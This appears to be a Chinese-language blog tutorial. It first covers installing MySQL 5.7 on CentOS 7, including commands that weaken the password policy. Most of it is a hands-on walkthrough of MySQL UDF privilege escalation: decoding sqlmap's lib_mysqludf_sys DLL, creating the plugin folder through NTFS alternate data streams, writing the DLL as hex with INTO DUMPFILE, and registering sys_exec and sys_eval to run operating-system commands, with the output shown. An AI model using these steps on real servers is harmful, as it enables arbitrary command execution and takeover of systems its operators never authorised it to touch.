Mysql 安装
以 Centos 7 为例
- wget下载安装包
wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm
- 安装软件源
rpm -Uvh mysql57-community-release-el7-10.noarch.rpm
- 安装 mysql 服务端
yum install -y mysql-community-server
- 启动mysql
service mysqld start
- 查看mysql运行状态
service mysqld status
如图,成功启动
- 修改mysql临时密码
- 为了加强安全性,MySQL5.7为root用户随机生成了一个密码,在
error log
中,关于error log
的位置,如果安装的是RPM包,则默认是/var/log/mysqld.log
grep 'temporary password' /var/log/mysqld.log //启动mysql后查看临时密码
- 登录并修改默认密码
mysql -u root -p // root 用户登录mysql
alter user 'root'@'localhost' IDENTIFIED BY 'newpassword';
1819报错执行两条语句,修改两个全局参数
set global validate_password_policy=0;
set global validate_password_length=1;
MYSQL 利用udf
提权
提权思路:
- 将
udf
文件放到指定位置(mysql版本 > 5.1
,udf.dll
导出到安装路径MySQL\Lib\Plugin
,mysql版本 < 5.1
,udf.dll
文件在win server 2003
下放置于c:\windows\system32
目录,在win server 2000
下放置在c:\winnt\system32
目录)- 从 udf (user defined function) 文件中引入自定义函数(
linux
环境下导出lib_mysqludf_sys.so
,Windows
下导出dll
文件)- 执行自定义函数
提权步骤
- 查看 mysql 版本及
plugin
文件位置
mysql> status
探测到靶机版本5.5 > 5.1,从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。
使用
select @@plugin_dir
全局变量查询plugin
文件夹
- 查找
udf.dll
文件
SQLMAP 提供了现成的 udf.dll ,位于sqlmap/udf/mysql/windows
目录下,由于MySQL位数为32,所以在此选择32位的 dll 文件
由于sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,可以利用sqlmap 自带的解码工具cloak.py
,进入到sqlmap\extra\cloak\cloak
目录下,执行命令生成 dll 文件:
cloak.py -d -i E:\sqlmap\sqlmapproject-sqlmap-4cd8590\udf\mysql\windows\32\lib_mysqludf_sys.dll_
同时MSF也提供了现成的 udf.dll 文件,文件位置
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
- 将
udf.dll
文件写入数据库
-
方法一:远程加载
load_file() 函数支持远程加载,配合 dumpfile 实现写入
lib 目录下一定要有 plugin 文件夹 否则报错
使用NTFS ADS流创建 plugin,lib 文件夹,大佬的代码但是我没有成功。。你们可以尝试一下
select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
- 方法二:HEX 写入
在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了
select hex(load_file('E:\\sqlmap\\sqlmapproject-sqlmap-4cd8590\\udf\\mysql\\windows\\32\\lib_mysqludf_sys.dll')) into outfile "E:\\udf32.hex";
生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令,16进制代码前记得加0x表示16进制
select 0x4D5A9000030000000…(太长省略) into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
依旧需要plugin文件存在,这里我手动创建了一个毕竟那个NFTS ADS流创建我没创建成功
- dll 文件利用
sqlmap中的 udf 文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
加载函数
-
sys_exec
函数
mysql> create function sys_exec RETURNS int soname 'udf.dll' ;
Query OK, 0 rows affected (0.01 sec)
mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.20 sec)
函数删除
mysql> drop function sys_exec;
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)
- sys_evel() 函数(该功能将执行系统命令并在屏幕上通过标准输出显示)
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select sys_eval('whoami');
+-----------------------+
| sys_eval('whoami') |
+-----------------------+
| desktop-jg0a4e7\wcute |
+-----------------------+
1 row in set (0.08 sec)
函数删除
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)
- sys_get() 函数(该函数返回系统变量的值)
mysql> create function sys_get returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name | ret | dl | type |
+---------+-----+---------+----------+
| sys_get | 0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC') |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)
删除函数
drop function sys_get;
参考链接:
https://www.cnblogs.com/silentdoer/articles/7258232.html
http://www.mamicode.com/info-detail-2294087.html
https://www.k0rz3n.com/2018/10/21/Mysql%20%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/
https://blog.csdn.net/qq_26090065/article/details/81515355